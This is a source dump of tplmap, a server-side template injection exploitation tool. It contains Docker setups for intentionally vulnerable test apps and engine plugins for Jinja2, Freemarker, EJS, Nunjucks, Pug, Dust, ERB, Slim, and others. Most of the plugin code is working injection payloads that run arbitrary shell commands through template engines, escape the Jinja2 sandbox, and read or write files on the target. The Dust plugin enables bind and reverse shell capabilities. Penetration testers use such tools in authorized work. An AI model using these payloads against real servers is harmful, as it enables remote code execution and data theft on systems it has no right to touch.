8 | RUN cd /apps/tests/env_node_tests/ && npm install randomstring connect pug nunjucks dustjs-linkedin@2.6 dustjs-helpers@1.5.0 marko dot ejs
9 |
10 | EXPOSE 15004
11 |
12 | COPY . /apps/
13 | WORKDIR /apps/tests/
14 |
15 | CMD cd /apps/tests/env_node_tests/ && node connect-app.js
16 |
--------------------------------------------------------------------------------
/docker-envs/Dockerfile.php:
--------------------------------------------------------------------------------
1 | FROM php:7.2.10-apache
2 |
3 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y
4 | RUN pip install requests PyYAML
5 |
6 | RUN sed -i '0,/Listen [0-9]*/s//Listen 15002/' /etc/apache2/ports.conf
7 |
8 | RUN mkdir /var/www/html/lib/ && cd /var/www/html/lib && \
9 | curl -sL 'https://github.com/smarty-php/smarty/archive/v3.1.32.tar.gz' | tar xzf - && \
10 | curl -sL 'https://github.com/twigphp/Twig/archive/v1.20.0.tar.gz' | tar xzf - && \
11 | curl -sL 'https://github.com/twigphp/Twig/archive/v1.19.0.tar.gz' | tar xzf -
12 |
13 | COPY . /apps/
14 | COPY tests/env_php_tests/* /var/www/html/
15 |
16 | WORKDIR /apps/tests/
17 |
--------------------------------------------------------------------------------
/docker-envs/Dockerfile.python2:
--------------------------------------------------------------------------------
1 | FROM python:2.7.15
2 |
3 | RUN pip install mako jinja2 flask tornado PyYAML requests
4 | RUN apt-get update && apt-get install dnsutils -y
5 |
6 | COPY . /apps/
7 | WORKDIR /apps/tests/
8 |
9 | RUN sed -i 's/127\.0\.0\.1/0.0.0.0/' env_py_tests/webserver.py
10 |
11 | EXPOSE 15001
12 |
13 | CMD python env_py_tests/webserver.py
14 |
--------------------------------------------------------------------------------
/docker-envs/Dockerfile.python3:
--------------------------------------------------------------------------------
1 | FROM python:2.7.15
2 |
3 | RUN apt-get update && apt-get install dnsutils python3-pip -y
4 | RUN pip3 install mako jinja2 flask tornado
5 | RUN pip install PyYAML requests
6 |
7 | COPY . /apps/
8 | WORKDIR /apps/tests/
9 |
10 | RUN sed -i 's/127\.0\.0\.1/0.0.0.0/' env_py_tests/webserver.py
11 |
12 | EXPOSE 15001
13 |
14 | CMD python3 env_py_tests/webserver.py
15 |
--------------------------------------------------------------------------------
/docker-envs/Dockerfile.ruby:
--------------------------------------------------------------------------------
1 | FROM ruby:2.5.1
2 |
3 | RUN gem install slim tilt cuba rack
4 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y
5 | RUN pip install requests PyYAML
6 |
7 | COPY . /apps/
8 | WORKDIR /apps/tests/
9 |
10 | EXPOSE 15005
11 |
12 | CMD cd env_ruby_tests && rackup --host 0.0.0.0 --port 15005
13 |
--------------------------------------------------------------------------------
/docker-envs/README.md:
--------------------------------------------------------------------------------
1 | # Running vulnerable test environment in Docker
2 |
3 | To setup vulnerable environments for your test, you can use tplmap's test environment with Docker.
4 |
5 | The following command starts all test environments:
6 |
7 | ```sh
8 | $ docker-compose up
9 | ```
10 |
11 | Starts specified test environments:
12 |
13 | ```sh
14 | $ docker-compose up tplmap_test_python tplmap_test_php
15 | ```
16 |
17 |
--------------------------------------------------------------------------------
/docker-envs/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '2'
2 |
3 | services:
4 | tplmap_test_python:
5 | build:
6 | context: ../
7 | dockerfile: docker-envs/Dockerfile.python2
8 | restart: always
9 | ports:
10 | - "15001:15001"
11 | tplmap_test_python3:
12 | build:
13 | context: ../
14 | dockerfile: docker-envs/Dockerfile.python3
15 | restart: always
16 | ports:
17 | - "15006:15001"
18 | tplmap_test_php:
19 | build:
20 | context: ../
21 | dockerfile: docker-envs/Dockerfile.php
22 | restart: always
23 | ports:
24 | - "15002:15002"
25 | tplmap_test_java:
26 | build:
27 | context: ../
28 | dockerfile: docker-envs/Dockerfile.java
29 | restart: always
30 | ports:
31 | - "15003:15003"
32 | tplmap_test_node:
33 | build:
34 | context: ../
35 | dockerfile: docker-envs/Dockerfile.node
36 | restart: always
37 | ports:
38 | - "15004:15004"
39 | tplmap_test_ruby:
40 | build:
41 | context: ../
42 | dockerfile: docker-envs/Dockerfile.ruby
43 | restart: always
44 | ports:
45 | - "15005:15005"
46 |
--------------------------------------------------------------------------------
/plugins/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/plugins/__init__.py
--------------------------------------------------------------------------------
/plugins/engines/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/plugins/engines/__init__.py
--------------------------------------------------------------------------------
/plugins/engines/dot.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import javascript
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Dot(javascript.Javascript):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '{{=%(code)s}}',
15 | 'header': '{{=%(header)s}}',
16 | 'trailer': '{{=%(trailer)s}}'
17 | },
18 | 'write' : {
19 | 'call' : 'inject',
20 | 'write' : """{{=global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')}}""",
21 | 'truncate' : """{{=global.process.mainModule.require('fs').writeFileSync('%(path)s', '')}}"""
22 | },
23 | 'read' : {
24 | 'call': 'evaluate',
25 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64');"""
26 | },
27 | 'md5' : {
28 | 'call': 'evaluate',
29 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex");"""
30 | },
31 | 'evaluate' : {
32 | 'test_os': """global.process.mainModule.require('os').platform()""",
33 | },
34 | 'execute' : {
35 | 'call': 'evaluate',
36 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString());"""
37 | },
38 | 'execute_blind' : {
39 | # The bogus prefix is to avoid false detection of Javascript instead of doT
40 | 'call': 'inject',
41 | 'execute_blind': """{{=''}}{{global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i');}}"""
42 | },
43 | })
44 |
45 | self.set_contexts([
46 |
47 | # Text context, no closures
48 | { 'level': 0 },
49 |
50 | { 'level': 1, 'prefix': '%(closure)s;}}', 'suffix' : '{{1;', 'closures' : javascript.ctx_closures },
51 |
52 | ])
53 |
54 |
--------------------------------------------------------------------------------
/plugins/engines/dust.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote, chunkit, md5
2 | from utils.loggers import log
3 | from plugins.languages import javascript
4 | from utils import rand
5 | from plugins.languages import bash
6 | import base64
7 | import re
8 |
9 |
10 | class Dust(javascript.Javascript):
11 |
12 | def init(self):
13 |
14 | self.update_actions({
15 | 'evaluate' : {
16 | 'call': 'inject',
17 | 'evaluate': """{@if cond=\"eval(Buffer('%(code_b64)s', 'base64').toString())\"}{/if}"""
18 | },
19 | 'write' : {
20 | 'call' : 'evaluate',
21 | 'write' : """require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')""",
22 | 'truncate' : """require('fs').writeFileSync('%(path)s', '')"""
23 | },
24 | # Not using execute here since it's rendered and requires set headers and trailers
25 | 'execute_blind' : {
26 | 'call': 'evaluate',
27 | # execSync() has been introduced in node 0.11, so this will not work with old node versions.
28 | # TODO: use another function.
29 | 'execute_blind': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i');""",
30 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] },
31 | 'test_cmd_expected': rand.randstrings[2]
32 | }
33 | })
34 |
35 | self.set_contexts([
36 | # Text context, no closures. This covers also {%s} e.g. {{payload}} seems working.
37 | { 'level': 0 },
38 |
39 | # Block as {#key}{/key} and similar needs tag key name to be bypassed.
40 |
41 | # Comment blocks
42 | { 'level': 1, 'prefix' : '!}', 'suffix' : '{!' },
43 | ])
44 |
45 | """
46 | This replace _detect_render() since there is no real rendered evaluation in Dust.
47 | """
48 | def _detect_dust(self):
49 |
50 | # Print what it's going to be tested
51 | log.info('%s plugin is testing rendering' % (
52 | self.plugin,
53 | )
54 | )
55 |
56 | for prefix, suffix in self._generate_contexts():
57 |
58 | payload = 'AA{!c!}AA'
59 | header_rand = rand.randint_n(10)
60 | header = str(header_rand)
61 | trailer_rand = rand.randint_n(10)
62 | trailer = str(trailer_rand)
63 |
64 | if 'AAAA' == self.render(
65 | code = payload,
66 | header = header,
67 | trailer = trailer,
68 | header_rand = header_rand,
69 | trailer_rand = trailer_rand,
70 | prefix = prefix,
71 | suffix = suffix
72 | ):
73 | self.set('header', '%s')
74 | self.set('trailer', '%s')
75 | self.set('prefix', prefix)
76 | self.set('suffix', suffix)
77 | self.set('engine', self.plugin.lower())
78 | self.set('language', self.language)
79 |
80 | return
81 |
82 | """
83 | Override detection phase to avoid reder check
84 | """
85 | def detect(self):
86 |
87 | self._detect_dust()
88 |
89 | if self.get('engine'):
90 |
91 | log.info('%s plugin has confirmed injection' % (
92 | self.plugin)
93 | )
94 |
95 | # Clean up any previous unreliable render data
96 | self.delete('unreliable_render')
97 | self.delete('unreliable')
98 |
99 | # Further exploitation requires if helper, which has
100 | # been deprecated in version dustjs-helpers@1.5.0 .
101 | # Check if helper presence here.
102 |
103 | rand_A = rand.randstr_n(2)
104 | rand_B = rand.randstr_n(2)
105 | rand_C = rand.randstr_n(2)
106 |
107 | expected = rand_A + rand_B + rand_C
108 |
109 | if expected in self.inject('%s{@if cond="1"}%s{/if}%s' % (rand_A, rand_B, rand_C)):
110 |
111 | log.info('%s plugin has confirmed the presence of dustjs if helper <= 1.5.0' % (
112 | self.plugin)
113 | )
114 |
115 | # Blind inj must be checked also with confirmed rendering
116 | self._detect_blind()
117 |
118 | if self.get('blind'):
119 |
120 | log.info('%s plugin has confirmed blind injection' % (self.plugin))
121 |
122 | # Clean up any previous unreliable render data
123 | self.delete('unreliable_render')
124 | self.delete('unreliable')
125 |
126 | # Set basic info
127 | self.set('engine', self.plugin.lower())
128 | self.set('language', self.language)
129 |
130 | # Set the environment
131 | self.blind_detected()
132 |
133 |
134 | def blind_detected(self):
135 |
136 | # Blind has been detected so code has been already evaluated
137 | self.set('evaluate_blind', self.language)
138 |
139 | test_cmd_code = self.actions.get('execute_blind', {}).get('test_cmd')
140 |
141 | if (
142 | test_cmd_code and
143 | # self.execute_blind() returns true or false
144 | self.execute_blind(test_cmd_code)
145 | ):
146 | self.set('execute_blind', True)
147 | self.set('write', True)
148 | self.set('bind_shell', True)
149 | self.set('reverse_shell', True)
150 |
--------------------------------------------------------------------------------
/plugins/engines/ejs.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import javascript
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Ejs(javascript.Javascript):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'header': """<%%- '%(header)s'+""",
15 | 'trailer': """+'%(trailer)s' %%>""",
16 | },
17 | 'write' : {
18 | 'write' : """<%%global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')%%>""",
19 | 'truncate' : """<%%global.process.mainModule.require('fs').writeFileSync('%(path)s', '')%%>"""
20 | },
21 | 'read' : {
22 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')"""
23 | },
24 | 'md5' : {
25 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")"""
26 | },
27 | 'evaluate' : {
28 | 'test_os': """global.process.mainModule.require('os').platform()"""
29 | },
30 | 'execute_blind' : {
31 | 'execute_blind': """<%%global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')%%>"""
32 | },
33 | 'execute' : {
34 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())"""
35 | },
36 | })
37 |
38 | self.set_contexts([
39 |
40 | # Text context, no closures
41 | { 'level': 0 },
42 |
43 | {
44 | 'level': 1,
45 | 'prefix': '%(closure)s%%>', # Terminates EJS tag
46 | 'suffix' : '<%%#', # EJS comment out
47 | 'closures' : javascript.ctx_closures
48 | },
49 |
50 | {
51 | 'level': 2,
52 | 'prefix': '%(closure)s%%>', # Terminates EJS tag
53 | 'suffix' : '<%%#', # EJS comment out
54 | 'closures' : { 1: [ "'", ')' ], 2: [ '"', ')' ] } # Close function with quote
55 | },
56 |
57 | {
58 | 'level': 3,
59 | 'prefix': '*/%%>', # Terminates block comments
60 | 'suffix' : '<%%#' # EJS comment out
61 | },
62 |
63 | ])
64 |
--------------------------------------------------------------------------------
/plugins/engines/erb.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import ruby
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Erb(ruby.Ruby):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '"#{%(code)s}"',
15 | 'header': """<%%= '%(header)s'+""",
16 | 'trailer': """+'%(trailer)s' %%>""",
17 | },
18 | 'write' : {
19 | 'call' : 'inject',
20 | 'write': """<%%= require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) } %%>""",
21 | 'truncate' : """<%%= File.truncate('%(path)s', 0) %%>"""
22 | },
23 | 'evaluate_blind' : {
24 | 'call': 'inject',
25 | 'evaluate_blind': """<%%= require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i) %%>"""
26 | },
27 | 'execute_blind' : {
28 | 'call': 'inject',
29 | 'execute_blind': """<%%= require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'}) %%>"""
30 | },
31 | })
32 |
33 | self.set_contexts([
34 |
35 | # Text context, no closures
36 | { 'level': 0 },
37 |
38 | # TODO: add contexts
39 | ])
40 |
--------------------------------------------------------------------------------
/plugins/engines/freemarker.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote, chunkit, md5
2 | from utils.loggers import log
3 | from utils import rand
4 | from plugins.languages import java
5 | import re
6 |
7 | class Freemarker(java.Java):
8 |
9 | def init(self):
10 |
11 | self.update_actions({
12 | 'render' : {
13 | 'render': '%(code)s',
14 | 'header': '${%(header)s?c}',
15 | 'trailer': '${%(trailer)s?c}',
16 | 'test_render': """${%(r1)s}<#--%(comment)s-->${%(r2)s}""" % {
17 | 'r1' : rand.randints[0],
18 | 'comment' : rand.randints[1],
19 | 'r2' : rand.randints[2]
20 | },
21 | 'test_render_expected': '%(r1)s%(r2)s' % {
22 | 'r1' : rand.randints[0],
23 | 'r2' : rand.randints[2]
24 | }
25 | },
26 | 'write' : {
27 | 'call' : 'inject',
28 | 'write' : """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s") }""",
29 | 'truncate' : """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {echo,-n,}>%(path)s") }""",
30 | },
31 | # Not using execute here since it's rendered and requires set headers and trailers
32 | 'execute_blind' : {
33 | 'call': 'inject',
34 | 'execute_blind': """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}") }"""
35 | },
36 | 'execute' : {
37 | 'call': 'render',
38 | 'execute': """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}") }"""
39 | }
40 |
41 | })
42 |
43 |
44 | self.set_contexts([
45 |
46 |
47 | # Text context, no closures
48 | { 'level': 0 },
49 |
50 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : java.ctx_closures },
51 |
52 | # This handles <#assign s = %s> and <#if 1 == %s> and <#if %s == 1>
53 | { 'level': 2, 'prefix': '%(closure)s>', 'suffix' : '', 'closures' : java.ctx_closures },
54 | { 'level': 5, 'prefix': '-->', 'suffix' : '<#--' },
55 | { 'level': 5, 'prefix': '%(closure)s as a>#list><#list [1] as a>', 'suffix' : '', 'closures' : java.ctx_closures },
56 | ])
57 |
58 |
--------------------------------------------------------------------------------
/plugins/engines/jinja2.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import python
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Jinja2(python.Python):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '{{%(code)s}}',
15 | 'header': '{{%(header)s}}',
16 | 'trailer': '{{%(trailer)s}}',
17 | 'test_render': '(%(n1)s,%(n2)s*%(n3)s)' % {
18 | 'n1' : rand.randints[0],
19 | 'n2' : rand.randints[1],
20 | 'n3' : rand.randints[2]
21 | },
22 | 'test_render_expected': '%(res)s' % {
23 | 'res' : (rand.randints[0],rand.randints[1]*rand.randints[2])
24 | }
25 | },
26 | 'evaluate' : {
27 | 'call': 'render',
28 | 'evaluate': """''}}{%% set d = "eval(__import__('base64').urlsafe_b64decode('%(code_b64)s'))" %%}{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%}
29 | {%% for b in c.__init__.__globals__.values() %%} {%% if b.__class__ == {}.__class__ %%}
30 | {%% if 'eval' in b.keys() %%}
31 | {{ b['eval'](d) }}
32 | {%% endif %%} {%% endif %%} {%% endfor %%}
33 | {%% endif %%} {%% endfor %%}{{''"""
34 | },
35 | 'execute_blind' : {
36 | 'call': 'inject',
37 | 'execute_blind': """{%% set d = "__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode() + ' && sleep %(delay)i').read()" %%}{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%}
38 | {%% for b in c.__init__.__globals__.values() %%} {%% if b.__class__ == {}.__class__ %%}
39 | {%% if 'eval' in b.keys() %%}
40 | {{ b['eval'](d) }}
41 | {%% endif %%} {%% endif %%} {%% endfor %%}
42 | {%% endif %%} {%% endfor %%}"""
43 | },
44 | })
45 |
46 | self.set_contexts([
47 |
48 | # Text context, no closures
49 | { 'level': 0 },
50 |
51 | # This covers {{%s}}
52 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '', 'closures' : python.ctx_closures },
53 |
54 | # This covers {% %s %}
55 | { 'level': 1, 'prefix': '%(closure)s%%}', 'suffix' : '', 'closures' : python.ctx_closures },
56 |
57 | # If and for blocks
58 | # # if %s:\n# endif
59 | # # for a in %s:\n# endfor
60 | { 'level': 5, 'prefix': '%(closure)s\n', 'suffix' : '\n', 'closures' : python.ctx_closures },
61 |
62 | # Comment blocks
63 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' },
64 |
65 | ])
66 |
--------------------------------------------------------------------------------
/plugins/engines/mako.py:
--------------------------------------------------------------------------------
1 | from plugins.languages import python
2 | from utils.loggers import log
3 | from utils import rand
4 | import re
5 |
6 | class Mako(python.Python):
7 |
8 | def init(self):
9 |
10 | self.update_actions({
11 | 'render' : {
12 | 'render': '${%(code)s}',
13 | 'header': '${%(header)s}',
14 | 'trailer': '${%(trailer)s}'
15 | },
16 | })
17 |
18 | self.set_contexts([
19 |
20 | # Text context, no closures
21 | { 'level': 0 },
22 |
23 | # Normal reflecting tag ${}
24 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : python.ctx_closures },
25 |
26 | # Code blocks
27 | # This covers <% %s %>, <%! %s %>, <% %s=1 %>
28 | { 'level': 1, 'prefix': '%(closure)s%%>', 'suffix' : '<%%#', 'closures' : python.ctx_closures },
29 |
30 | # If and for blocks
31 | # % if %s:\n% endif
32 | # % for a in %s:\n% endfor
33 | { 'level': 5, 'prefix': '%(closure)s#\n', 'suffix' : '\n', 'closures' : python.ctx_closures },
34 |
35 | # Mako blocks
36 | { 'level': 5, 'prefix' : '%%doc>', 'suffix' : '<%%doc>' },
37 | { 'level': 5, 'prefix' : '%%def>', 'suffix' : '<%%def name="t(x)">', 'closures' : python.ctx_closures },
38 | { 'level': 5, 'prefix' : '%%block>', 'suffix' : '<%%block>', 'closures' : python.ctx_closures },
39 | { 'level': 5, 'prefix' : '%%text>', 'suffix' : '<%%text>', 'closures' : python.ctx_closures},
40 |
41 | ])
--------------------------------------------------------------------------------
/plugins/engines/marko.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import javascript
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Marko(javascript.Javascript):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '${%(code)s}',
15 | 'header': '${"%(header)s"}',
16 | 'trailer': '${"%(trailer)s"}',
17 | },
18 | 'write' : {
19 | 'call' : 'inject',
20 | 'write' : """${require('fs').appendFileSync('%(path)s',Buffer('%(chunk_b64)s','base64'),'binary')}""",
21 | 'truncate' : """${require('fs').writeFileSync('%(path)s','')}"""
22 | },
23 | 'execute_blind' : {
24 | 'call': 'inject',
25 | 'execute_blind': """${require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')}"""
26 | },
27 | })
28 |
29 | self.set_contexts([
30 |
31 | # Text context, no closures
32 | { 'level': 0 },
33 |
34 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '${"1"', 'closures' : javascript.ctx_closures },
35 |
36 | # If escapes require to know the ending tag e.g.
37 |
38 | # This to escape from and
39 | { 'level': 2, 'prefix': '1/>', 'suffix' : '' },
40 |
41 | ])
42 |
--------------------------------------------------------------------------------
/plugins/engines/nunjucks.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import javascript
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Nunjucks(javascript.Javascript):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '{{%(code)s}}',
15 | 'header': '{{%(header)s}}',
16 | 'trailer': '{{%(trailer)s}}',
17 | 'test_render': '(%(n1)s,%(n2)s*%(n3)s)|dump' % {
18 | 'n1' : rand.randints[0],
19 | 'n2' : rand.randints[1],
20 | 'n3' : rand.randints[2]
21 | },
22 | 'test_render_expected': '%(res)s' % {
23 | 'res' : rand.randints[1]*rand.randints[2]
24 | }
25 | },
26 | 'write' : {
27 | 'call' : 'inject',
28 | 'write' : """{{range.constructor("global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')")()}}""",
29 | 'truncate' : """{{range.constructor("global.process.mainModule.require('fs').writeFileSync('%(path)s', '')")()}}"""
30 | },
31 | 'read' : {
32 | 'call': 'evaluate',
33 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')"""
34 | },
35 | 'md5' : {
36 | 'call': 'evaluate',
37 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")"""
38 | },
39 | 'evaluate' : {
40 | 'call': 'render',
41 | 'evaluate' : """range.constructor("return eval(Buffer('%(code_b64)s','base64').toString())")()""",
42 | 'test_os': """global.process.mainModule.require('os').platform()"""
43 | },
44 | 'execute' : {
45 | 'call': 'evaluate',
46 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())"""
47 | },
48 | 'execute_blind' : {
49 | 'call': 'inject',
50 | 'execute_blind': """{{range.constructor("global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')")()}}"""
51 | },
52 | })
53 |
54 | self.set_contexts([
55 |
56 | # Text context, no closures
57 | { 'level': 0 },
58 |
59 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '{{1', 'closures' : javascript.ctx_closures },
60 | { 'level': 1, 'prefix': '%(closure)s %%}', 'suffix' : '', 'closures' : javascript.ctx_closures },
61 | { 'level': 5, 'prefix': '%(closure)s %%}{%% endfor %%}{%% for a in [1] %%}', 'suffix' : '', 'closures' : javascript.ctx_closures },
62 |
63 | # This escapes string {% set %s = 1 %}
64 | { 'level': 5, 'prefix': '%(closure)s = 1 %%}', 'suffix' : '', 'closures' : javascript.ctx_closures },
65 |
66 | # Comment blocks
67 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' },
68 |
69 | ])
70 |
71 |
--------------------------------------------------------------------------------
/plugins/engines/pug.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote, chunkit, md5
2 | from utils.loggers import log
3 | from plugins.languages import javascript
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Pug(javascript.Javascript):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'call': 'inject',
15 | 'render': '\n= %(code)s\n',
16 | 'header': '\n= %(header)s\n',
17 | 'trailer': '\n= %(trailer)s\n',
18 | },
19 | # No evaluate_blind here, since we've no sleep, we'll use inject
20 | 'write' : {
21 | 'call' : 'inject',
22 | # Payloads calling inject must start with \n to break out already started lines
23 | 'write' : """\n- global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')
24 | """,
25 | 'truncate' : """\n- global.process.mainModule.require('fs').writeFileSync('%(path)s', '')
26 | """
27 | },
28 | 'read' : {
29 | 'call': 'render',
30 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')"""
31 | },
32 | 'md5' : {
33 | 'call': 'render',
34 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")"""
35 | },
36 | 'blind' : {
37 | 'call': 'execute_blind',
38 | 'test_bool_true' : 'true',
39 | 'test_bool_false' : 'false'
40 | },
41 | # Not using execute here since it's rendered and requires set headers and trailers
42 | 'execute_blind' : {
43 | 'call': 'inject',
44 | # execSync() has been introduced in node 0.11, so this will not work with old node versions.
45 | # TODO: use another function.
46 |
47 | # Payloads calling inject must start with \n to break out already started lines
48 |
49 | # It's two lines command to avoid false positive with Javascript module
50 | 'execute_blind': """
51 | - x = global.process.mainModule.require
52 | - x('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')
53 | """
54 | },
55 | 'execute' : {
56 | 'call': 'render',
57 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())"""
58 | },
59 | 'evaluate' : {
60 | 'test_os': """global.process.mainModule.require('os').platform()"""
61 | },
62 | })
63 |
64 | self.set_contexts([
65 |
66 | # Text context, no closures
67 | { 'level': 0 },
68 |
69 | # Attribute close a(href=\'%s\')
70 | { 'level': 1, 'prefix' : '%(closure)s)', 'suffix' : '//', 'closures' : { 1: javascript.ctx_closures[1] } },
71 | # String interpolation #{
72 | { 'level': 2, 'prefix' : '%(closure)s}', 'suffix' : '//', 'closures' : javascript.ctx_closures },
73 | # Code context
74 | { 'level': 2, 'prefix' : '%(closure)s\n', 'suffix' : '//', 'closures' : javascript.ctx_closures },
75 | ])
76 |
77 | language = 'javascript'
78 |
79 |
80 |
81 |
--------------------------------------------------------------------------------
/plugins/engines/slim.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import ruby
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Slim(ruby.Ruby):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '"#{%(code)s}"',
15 | 'header': """=('%(header)s'+""",
16 | 'trailer': """+'%(trailer)s')""",
17 | },
18 | 'write' : {
19 | 'call' : 'inject',
20 | 'write': """=(require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) })""",
21 | 'truncate' : """=(File.truncate('%(path)s', 0))"""
22 | },
23 | 'evaluate_blind' : {
24 | 'call': 'inject',
25 | 'evaluate_blind': """=(require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i))"""
26 | },
27 | 'execute_blind' : {
28 | 'call': 'inject',
29 | 'execute_blind': """=(require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'}))"""
30 | },
31 | })
32 |
33 | self.set_contexts([
34 |
35 | # Text context, no closures
36 | { 'level': 0 },
37 |
38 | # TODO: add contexts
39 |
40 | ])
41 |
--------------------------------------------------------------------------------
/plugins/engines/smarty.py:
--------------------------------------------------------------------------------
1 | from plugins.languages import php
2 | from utils.loggers import log
3 | from utils import rand
4 | from utils.strings import quote
5 | import base64
6 | import re
7 |
8 | class Smarty(php.Php):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '%(code)s',
15 | 'header': '{%(header)s}',
16 | 'trailer': '{%(trailer)s}',
17 | 'test_render': """{%(r1)s}{*%(comment)s*}{%(r2)s}""" % {
18 | 'r1' : rand.randints[0],
19 | 'comment' : rand.randints[1],
20 | 'r2' : rand.randints[2]
21 | },
22 | 'test_render_expected': '%(r1)s%(r2)s' % {
23 | 'r1' : rand.randints[0],
24 | 'r2' : rand.randints[2]
25 | }
26 | },
27 | 'evaluate' : {
28 | 'call': 'render',
29 | 'evaluate': """{php}%(code)s{/php}"""
30 | },
31 | 'evaluate_blind' : {
32 | 'call': 'inject',
